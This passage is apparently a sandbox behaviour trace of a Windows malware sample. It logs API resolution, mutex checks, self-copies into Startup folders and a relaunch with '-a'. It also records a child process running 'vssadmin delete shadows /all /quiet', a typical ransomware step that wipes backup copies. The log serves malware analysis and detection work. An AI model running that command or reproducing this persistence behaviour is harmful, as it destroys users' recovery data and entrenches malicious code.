	[0180.121] _wcsicmp (_String1="Exit", _String2="COPY") returned 2
	[0180.121] _wcsicmp (_String1="Exit", _String2="CD") returned 2
	[0180.121] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2
	[0180.121] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13
	[0180.121] _wcsicmp (_String1="Exit", _String2="REN") returned -13
	[0180.121] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21
	[0180.121] _wcsicmp (_String1="Exit", _String2="SET") returned -14
	[0180.121] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11
	[0180.121] _wcsicmp (_String1="Exit", _String2="DATE") returned 1
	[0180.121] _wcsicmp (_String1="Exit", _String2="TIME") returned -15
	[0180.121] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11
	[0180.121] _wcsicmp (_String1="Exit", _String2="MD") returned -8
	[0180.121] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8
	[0180.121] _wcsicmp (_String1="Exit", _String2="RD") returned -13
	[0180.121] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13
	[0180.121] _wcsicmp (_String1="Exit", _String2="PATH") returned -11
	[0180.121] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2
	[0180.121] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14
	[0180.121] _wcsicmp (_String1="Exit", _String2="CLS") returned 2
	[0180.121] _wcsicmp (_String1="Exit", _String2="CALL") returned 2
	[0180.121] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17
	[0180.121] _wcsicmp (_String1="Exit", _String2="VER") returned -17
	[0180.121] _wcsicmp (_String1="Exit", _String2="VOL") returned -17
	[0180.122] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0
	[0180.122] ??_V@YAXPEAX@Z () returned 0x1
	[0180.122] GetProcessHeap () returned 0x21a42450000
	[0180.122] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x14) returned 0x21a424564c0
	[0180.122] GetProcessHeap () returned 0x21a42450000
	[0180.122] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x1a) returned 0x21a424575e0
	[0180.122] GetProcessHeap () returned 0x21a42450000
	[0180.122] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x21c) returned 0x21a424577c0
	[0180.122] GetConsoleTitleW (in: lpConsoleTitle=0x21a424577d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0180.265] GetProcessHeap () returned 0x21a42450000
	[0180.265] RtlReAllocateHeap (Heap=0x21a42450000, Flags=0x0, Ptr=0x21a424577c0, Size=0x64) returned 0x21a424577c0
	[0180.265] GetProcessHeap () returned 0x21a42450000
	[0180.265] RtlSizeHeap (HeapHandle=0x21a42450000, Flags=0x0, MemoryPointer=0x21a424577c0) returned 0x64
	[0180.265] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1
	[0180.283] GetProcessHeap () returned 0x21a42450000
	[0180.283] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a424577c0) returned 1
	[0180.284] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0180.372] exit (_Code=2) 

Thread:
	id = 53
	os_tid = 0xdc0


Process:
	id = "8"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x30478000"
	os_pid = "0xd74"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0xd5c"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011cf4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 36
	os_tid = 0xd78


Thread:
	id = 43
	os_tid = 0xd94


Thread:
	id = 50
	os_tid = 0xdb0


Thread:
	id = 51
	os_tid = 0xdb8


Thread:
	id = 52
	os_tid = 0xdbc


Process:
	id = "9"
	image_name = "mode.com"
	filename = "c:\\windows\\system32\\mode.com"
	page_root = "0x2dfea000"
	os_pid = "0xdcc"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0xd5c"
	cmd_line = "mode  con cp select=1251"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011cf4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 56
	os_tid = 0xdd0


Thread:
	id = 57
	os_tid = 0xdd8


Process:
	id = "10"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x443f5000"
	os_pid = "0x560"
	os_integrity_level = "0x4000"
	os_privileges = "0x260814080"
	monitor_reason = "rpc_server"
	parent_id = "6"
	os_parent_pid = "0x23c"
	cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e914" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 62
	os_tid = 0xa54


Thread:
	id = 63
	os_tid = 0x9c0


Thread:
	id = 64
	os_tid = 0x9bc


Thread:
	id = 65
	os_tid = 0x998


Thread:
	id = 66
	os_tid = 0x680


Thread:
	id = 67
	os_tid = 0x66c


Thread:
	id = 68
	os_tid = 0x5f4


Thread:
	id = 69
	os_tid = 0x5f0


Thread:
	id = 70
	os_tid = 0x5ec


Thread:
	id = 71
	os_tid = 0x568


Thread:
	id = 72
	os_tid = 0x564


Process:
	id = "11"
	image_name = "dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"
	filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"
	page_root = "0x39560000"
	os_pid = "0xe00"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x9e8"
	cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe\" "
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011cf4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 73
	os_tid = 0xe04

	[0167.989] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77030000
	[0167.989] GetProcAddress (hModule=0x77030000, lpProcName="GetProcAddress") returned 0x770451b0
	[0167.989] GetProcAddress (hModule=0x77030000, lpProcName="GetModuleHandleW") returned 0x770450d0
	[0167.989] GetProcAddress (hModule=0x77030000, lpProcName="FindNextFileW") returned 0x7709ee40
	[0167.989] GetProcAddress (hModule=0x77030000, lpProcName="FindClose") returned 0x7709ed70
	[0167.989] GetProcAddress (hModule=0x77030000, lpProcName="MoveFileW") returned 0x7707e500
	[0167.989] GetProcAddress (hModule=0x77030000, lpProcName="GetFileSizeEx") returned 0x7709ef40
	[0167.989] GetProcAddress (hModule=0x77030000, lpProcName="GetModuleFileNameW") returned 0x77045090
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="GetFileAttributesW") returned 0x7709ef10
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="ExitProcess") returned 0x77043cb0
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="GetCommandLineW") returned 0x77044cc0
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="GetComputerNameW") returned 0x770732c0
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="GetComputerNameA") returned 0x77073780
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="CreateMutexW") returned 0x7709eb70
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="lstrlenW") returned 0x77046c70
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="lstrlenA") returned 0x77046c50
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="GetCurrentProcess") returned 0x7709ea10
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="WaitForSingleObject") returned 0x7709eca0
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="GetLogicalDrives") returned 0x77040d20
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="GetTickCount") returned 0x7709dd50
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="DeleteFileW") returned 0x7709ed40
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="WideCharToMultiByte") returned 0x77046b10
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7709ebb0
	[0167.990] GetProcAddress (hModule=0x77030000, lpProcName="Sleep") returned 0x77046760
	[0167.991] GetProcAddress (hModule=0x77030000, lpProcName="LeaveCriticalSection") returned 0x77bbb250
	[0167.991] GetProcAddress (hModule=0x77030000, lpProcName="ReadFile") returned 0x7709f090
	[0167.991] GetProcAddress (hModule=0x77030000, lpProcName="CreateFileW") returned 0x7709ed10
	[0167.991] GetProcAddress (hModule=0x77030000, lpProcName="OpenMutexW") returned 0x7709ebf0
	[0167.991] GetProcAddress (hModule=0x77030000, lpProcName="EnterCriticalSection") returned 0x77bbb2d0
	[0167.991] GetProcAddress (hModule=0x77030000, lpProcName="WaitForMultipleObjects") returned 0x7709ec80
	[0167.991] GetProcAddress (hModule=0x77030000, lpProcName="lstrcmpiW") returned 0x77046bf0
	[0167.991] GetProcAddress (hModule=0x77030000, lpProcName="lstrcmpiA") returned 0x77046bd0
	[0167.991] GetProcAddress (hModule=0x77030000, lpProcName="DeleteCriticalSection") returned 0x77b9fb90
	[0167.991] GetProcAddress (hModule=0x77030000, lpProcName="ReleaseMutex") returned 0x7709ec20
	[0167.991] GetProcAddress (hModule=0x77030000, lpProcName="CloseHandle") returned 0x7709eab0
	[0167.991] GetProcAddress (hModule=0x77030000, lpProcName="GetVersion") returned 0x770456c0
	[0167.991] GetProcAddress (hModule=0x77030000, lpProcName="CreateThread") returned 0x770446b0
	[0167.991] GetProcAddress (hModule=0x77030000, lpProcName="ExpandEnvironmentStringsW") returned 0x77044a40
	[0167.992] GetProcAddress (hModule=0x77030000, lpProcName="QueryPerformanceCounter") returned 0x77045da0
	[0167.992] GetProcAddress (hModule=0x77030000, lpProcName="QueryPerformanceFrequency") returned 0x77045dc0
	[0167.992] GetProcAddress (hModule=0x77030000, lpProcName="GetCurrentProcessId") returned 0x7709ea20
	[0167.992] GetProcAddress (hModule=0x77030000, lpProcName="SetFileAttributesW") returned 0x7709f100
	[0167.992] GetProcAddress (hModule=0x77030000, lpProcName="GetVolumeInformationW") returned 0x7709f020
	[0167.992] GetProcAddress (hModule=0x77030000, lpProcName="WriteFile") returned 0x7709f180
	[0167.992] GetProcAddress (hModule=0x77030000, lpProcName="SetFilePointerEx") returned 0x7709f130
	[0167.992] GetProcAddress (hModule=0x77030000, lpProcName="SetEndOfFile") returned 0x7709f0e0
	[0167.992] GetProcAddress (hModule=0x77030000, lpProcName="FindFirstFileW") returned 0x7709edf0
	[0167.992] GetProcAddress (hModule=0x77030000, lpProcName="GetProcessHeap") returned 0x770451f0
	[0167.992] GetProcAddress (hModule=0x77030000, lpProcName="HeapReAlloc") returned 0x77baf630
	[0167.992] GetProcAddress (hModule=0x77030000, lpProcName="HeapAlloc") returned 0x77bb2dc0
	[0167.992] GetProcAddress (hModule=0x77030000, lpProcName="HeapFree") returned 0x770457f0
	[0167.992] GetProcAddress (hModule=0x77030000, lpProcName="CreatePipe") returned 0x77044590
	[0167.993] GetProcAddress (hModule=0x77030000, lpProcName="SetHandleInformation") returned 0x7709eae0
	[0167.993] GetProcAddress (hModule=0x77030000, lpProcName="CreateProcessW") returned 0x77044610
	[0167.993] GetProcAddress (hModule=0x77030000, lpProcName="CompareStringW") returned 0x77044430
	[0167.993] GetProcAddress (hModule=0x77030000, lpProcName="CompareStringA") returned 0x77044410
	[0167.993] GetProcAddress (hModule=0x77030000, lpProcName="OpenProcess") returned 0x77045cc0
	[0167.993] GetProcAddress (hModule=0x77030000, lpProcName="TerminateProcess") returned 0x770467e0
	[0167.993] GetProcAddress (hModule=0x77030000, lpProcName="GetSystemTime") returned 0x770454e0
	[0167.993] GetProcAddress (hModule=0x77030000, lpProcName="SystemTimeToFileTime") returned 0x770467a0
	[0167.993] GetProcAddress (hModule=0x77030000, lpProcName="GetLastError") returned 0x77045010
	[0167.993] GetProcAddress (hModule=0x77030000, lpProcName="CreateToolhelp32Snapshot") returned 0x7707edc0
	[0167.993] GetProcAddress (hModule=0x77030000, lpProcName="Process32NextW") returned 0x7707f8f0
	[0167.993] GetProcAddress (hModule=0x77030000, lpProcName="Process32FirstW") returned 0x7707f750
	[0167.993] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x749e0000
	[0168.540] GetProcAddress (hModule=0x749e0000, lpProcName="RegOpenKeyExW") returned 0x749fe580
	[0168.540] GetProcAddress (hModule=0x749e0000, lpProcName="RegQueryValueExW") returned 0x749fe5a0
	[0168.541] GetProcAddress (hModule=0x749e0000, lpProcName="RegSetValueExW") returned 0x749ff530
	[0168.541] GetProcAddress (hModule=0x749e0000, lpProcName="RegCloseKey") returned 0x749fed60
	[0168.541] GetProcAddress (hModule=0x749e0000, lpProcName="OpenProcessToken") returned 0x749fefb0
	[0168.541] GetProcAddress (hModule=0x749e0000, lpProcName="GetTokenInformation") returned 0x749fee90
	[0168.541] GetProcAddress (hModule=0x749e0000, lpProcName="OpenSCManagerW") returned 0x74a00540
	[0168.541] GetProcAddress (hModule=0x749e0000, lpProcName="OpenServiceW") returned 0x749ffa20
	[0168.541] GetProcAddress (hModule=0x749e0000, lpProcName="CloseServiceHandle") returned 0x749ffc00
	[0168.541] GetProcAddress (hModule=0x749e0000, lpProcName="ControlService") returned 0x74a126d0
	[0168.541] GetProcAddress (hModule=0x749e0000, lpProcName="QueryServiceStatus") returned 0x74a02380
	[0168.541] GetProcAddress (hModule=0x749e0000, lpProcName="EnumDependentServicesW") returned 0x74a12f70
	[0168.541] GetProcAddress (hModule=0x749e0000, lpProcName="EnumServicesStatusExW") returned 0x749ffc80
	[0168.541] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76ef0000
	[0168.924] GetProcAddress (hModule=0x76ef0000, lpProcName="SystemParametersInfoW") returned 0x76f1f210
	[0168.924] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x74fa0000
	[0169.214] GetProcAddress (hModule=0x74fa0000, lpProcName="ShellExecuteExW") returned 0x75104730
	[0169.214] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77b70000
	[0169.214] GetProcAddress (hModule=0x77b70000, lpProcName="NtQuerySystemInformation") returned 0x77be2070
	[0169.214] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74570000
	[0169.218] GetProcAddress (hModule=0x74570000, lpProcName="WNetCloseEnum") returned 0x74572640
	[0169.219] GetProcAddress (hModule=0x74570000, lpProcName="WNetOpenEnumW") returned 0x74572790
	[0169.219] GetProcAddress (hModule=0x74570000, lpProcName="WNetEnumResourceW") returned 0x74572410
	[0169.219] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x76b40000
	[0169.226] GetProcAddress (hModule=0x76b40000, lpProcName="WSAStartup") returned 0x76b45b40
	[0169.227] GetProcAddress (hModule=0x76b40000, lpProcName="socket") returned 0x76b54510
	[0169.227] GetProcAddress (hModule=0x76b40000, lpProcName="send") returned 0x76b45030
	[0169.227] GetProcAddress (hModule=0x76b40000, lpProcName="recv") returned 0x76b50c50
	[0169.227] GetProcAddress (hModule=0x76b40000, lpProcName="connect") returned 0x76b45410
	[0169.227] GetProcAddress (hModule=0x76b40000, lpProcName="closesocket") returned 0x76b50910
	[0169.227] GetProcAddress (hModule=0x76b40000, lpProcName="gethostbyname") returned 0x76b76cb0
	[0169.227] GetProcAddress (hModule=0x76b40000, lpProcName="inet_addr") returned 0x76b59160
	[0169.228] GetProcAddress (hModule=0x76b40000, lpProcName="ntohl") returned 0x76b449d0
	[0169.228] GetProcAddress (hModule=0x76b40000, lpProcName="htonl") returned 0x76b449d0
	[0169.228] GetProcAddress (hModule=0x76b40000, lpProcName="htons") returned 0x76b58ff0
	[0169.228] GetProcessHeap () returned 0x580000
	[0169.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x20) returned 0x58b250
	[0169.228] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=6692463635) returned 1
	[0169.229] GetTickCount () returned 0x113adbb
	[0169.231] GetCurrentProcessId () returned 0xe00
	[0169.244] GetTickCount () returned 0x113adca
	[0169.244] GetTickCount () returned 0x113adca
	[0169.244] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x20) returned 0x58aff8
	[0169.244] GetVersion () returned 0x23f00206
	[0169.244] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7) returned 0x597140
	[0169.244] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x10) returned 0x598288
	[0169.244] RtlReAllocateHeap (Heap=0x580000, Flags=0x0, Ptr=0x598288, Size=0x20) returned 0x58b2a0
	[0169.245] RtlReAllocateHeap (Heap=0x580000, Flags=0x0, Ptr=0x58b2a0, Size=0x40) returned 0x597978
	[0169.245] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xfffe) returned 0x59d608
	[0169.246] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_F5163RA") returned 0x1ec
	[0169.246] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x597140 | out: hHeap=0x580000) returned 1
	[0169.246] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0169.246] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x597978 | out: hHeap=0x580000) returned 1
	[0169.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7) returned 0x597060
	[0169.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x10) returned 0x5981c8
	[0169.246] RtlReAllocateHeap (Heap=0x580000, Flags=0x0, Ptr=0x5981c8, Size=0x20) returned 0x58b2a0
	[0169.246] RtlReAllocateHeap (Heap=0x580000, Flags=0x0, Ptr=0x58b2a0, Size=0x40) returned 0x597ae0
	[0169.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xfffe) returned 0x5ad610
	[0169.247] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_F5163RU") returned 0x1f0
	[0169.247] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x597060 | out: hHeap=0x580000) returned 1
	[0169.247] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0169.247] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x597ae0 | out: hHeap=0x580000) returned 1
	[0169.247] GetVersion () returned 0x23f00206
	[0169.247] GetCurrentProcess () returned 0xffffffff
	[0169.247] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0169.247] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0169.247] CloseHandle (hObject=0x1f4) returned 1
	[0169.247] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102
	[0169.247] ExitProcess (uExitCode=0x0) 

Thread:
	id = 74
	os_tid = 0xe0c


Process:
	id = "12"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x65ea3000"
	os_pid = "0xe1c"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0xd5c"
	cmd_line = "vssadmin  delete shadows /all /quiet"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011cf4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 75
	os_tid = 0xe20


Thread:
	id = 76
	os_tid = 0xe24


Thread:
	id = 77
	os_tid = 0xe30


Thread:
	id = 78
	os_tid = 0xe38


Thread:
	id = 79
	os_tid = 0xe3c


Process:
	id = "13"
	image_name = "dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"
	filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"
	page_root = "0x29c8d000"
	os_pid = "0xf04"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0xd50"
	cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe\" -a"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011cf4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 80
	os_tid = 0xf08

	[0186.038] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77030000
	[0186.039] GetProcAddress (hModule=0x77030000, lpProcName="GetProcAddress") returned 0x770451b0
	[0186.039] GetProcAddress (hModule=0x77030000, lpProcName="GetModuleHandleW") returned 0x770450d0
	[0186.039] GetProcAddress (hModule=0x77030000, lpProcName="FindNextFileW") returned 0x7709ee40
	[0186.039] GetProcAddress (hModule=0x77030000, lpProcName="FindClose") returned 0x7709ed70
	[0186.039] GetProcAddress (hModule=0x77030000, lpProcName="MoveFileW") returned 0x7707e500
	[0186.039] GetProcAddress (hModule=0x77030000, lpProcName="GetFileSizeEx") returned 0x7709ef40
	[0186.039] GetProcAddress (hModule=0x77030000, lpProcName="GetModuleFileNameW") returned 0x77045090
	[0186.039] GetProcAddress (hModule=0x77030000, lpProcName="GetFileAttributesW") returned 0x7709ef10
	[0186.039] GetProcAddress (hModule=0x77030000, lpProcName="ExitProcess") returned 0x77043cb0
	[0186.039] GetProcAddress (hModule=0x77030000, lpProcName="GetCommandLineW") returned 0x77044cc0
	[0186.040] GetProcAddress (hModule=0x77030000, lpProcName="GetComputerNameW") returned 0x770732c0
	[0186.040] GetProcAddress (hModule=0x77030000, lpProcName="GetComputerNameA") returned 0x77073780
	[0186.040] GetProcAddress (hModule=0x77030000, lpProcName="CreateMutexW") returned 0x7709eb70
	[0186.040] GetProcAddress (hModule=0x77030000, lpProcName="lstrlenW") returned 0x77046c70
	[0186.040] GetProcAddress (hModule=0x77030000, lpProcName="lstrlenA") returned 0x77046c50
	[0186.040] GetProcAddress (hModule=0x77030000, lpProcName="GetCurrentProcess") returned 0x7709ea10
	[0186.040] GetProcAddress (hModule=0x77030000, lpProcName="WaitForSingleObject") returned 0x7709eca0
	[0186.040] GetProcAddress (hModule=0x77030000, lpProcName="GetLogicalDrives") returned 0x77040d20
	[0186.040] GetProcAddress (hModule=0x77030000, lpProcName="GetTickCount") returned 0x7709dd50
	[0186.040] GetProcAddress (hModule=0x77030000, lpProcName="DeleteFileW") returned 0x7709ed40
	[0186.040] GetProcAddress (hModule=0x77030000, lpProcName="WideCharToMultiByte") returned 0x77046b10
	[0186.040] GetProcAddress (hModule=0x77030000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7709ebb0
	[0186.040] GetProcAddress (hModule=0x77030000, lpProcName="Sleep") returned 0x77046760
	[0186.041] GetProcAddress (hModule=0x77030000, lpProcName="LeaveCriticalSection") returned 0x77bbb250
	[0186.041] GetProcAddress (hModule=0x77030000, lpProcName="ReadFile") returned 0x7709f090
	[0186.041] GetProcAddress (hModule=0x77030000, lpProcName="CreateFileW") returned 0x7709ed10
	[0186.041] GetProcAddress (hModule=0x77030000, lpProcName="OpenMutexW") returned 0x7709ebf0
	[0186.041] GetProcAddress (hModule=0x77030000, lpProcName="EnterCriticalSection") returned 0x77bbb2d0
	[0186.041] GetProcAddress (hModule=0x77030000, lpProcName="WaitForMultipleObjects") returned 0x7709ec80
	[0186.041] GetProcAddress (hModule=0x77030000, lpProcName="lstrcmpiW") returned 0x77046bf0
	[0186.041] GetProcAddress (hModule=0x77030000, lpProcName="lstrcmpiA") returned 0x77046bd0
	[0186.041] GetProcAddress (hModule=0x77030000, lpProcName="DeleteCriticalSection") returned 0x77b9fb90
	[0186.041] GetProcAddress (hModule=0x77030000, lpProcName="ReleaseMutex") returned 0x7709ec20
	[0186.041] GetProcAddress (hModule=0x77030000, lpProcName="CloseHandle") returned 0x7709eab0
	[0186.041] GetProcAddress (hModule=0x77030000, lpProcName="GetVersion") returned 0x770456c0
	[0186.041] GetProcAddress (hModule=0x77030000, lpProcName="CreateThread") returned 0x770446b0
	[0186.042] GetProcAddress (hModule=0x77030000, lpProcName="ExpandEnvironmentStringsW") returned 0x77044a40
	[0186.042] GetProcAddress (hModule=0x77030000, lpProcName="QueryPerformanceCounter") returned 0x77045da0
	[0186.042] GetProcAddress (hModule=0x77030000, lpProcName="QueryPerformanceFrequency") returned 0x77045dc0
	[0186.042] GetProcAddress (hModule=0x77030000, lpProcName="GetCurrentProcessId") returned 0x7709ea20
	[0186.042] GetProcAddress (hModule=0x77030000, lpProcName="SetFileAttributesW") returned 0x7709f100
	[0186.042] GetProcAddress (hModule=0x77030000, lpProcName="GetVolumeInformationW") returned 0x7709f020
	[0186.042] GetProcAddress (hModule=0x77030000, lpProcName="WriteFile") returned 0x7709f180
	[0186.042] GetProcAddress (hModule=0x77030000, lpProcName="SetFilePointerEx") returned 0x7709f130
	[0186.042] GetProcAddress (hModule=0x77030000, lpProcName="SetEndOfFile") returned 0x7709f0e0
	[0186.042] GetProcAddress (hModule=0x77030000, lpProcName="FindFirstFileW") returned 0x7709edf0
	[0186.042] GetProcAddress (hModule=0x77030000, lpProcName="GetProcessHeap") returned 0x770451f0
	[0186.042] GetProcAddress (hModule=0x77030000, lpProcName="HeapReAlloc") returned 0x77baf630
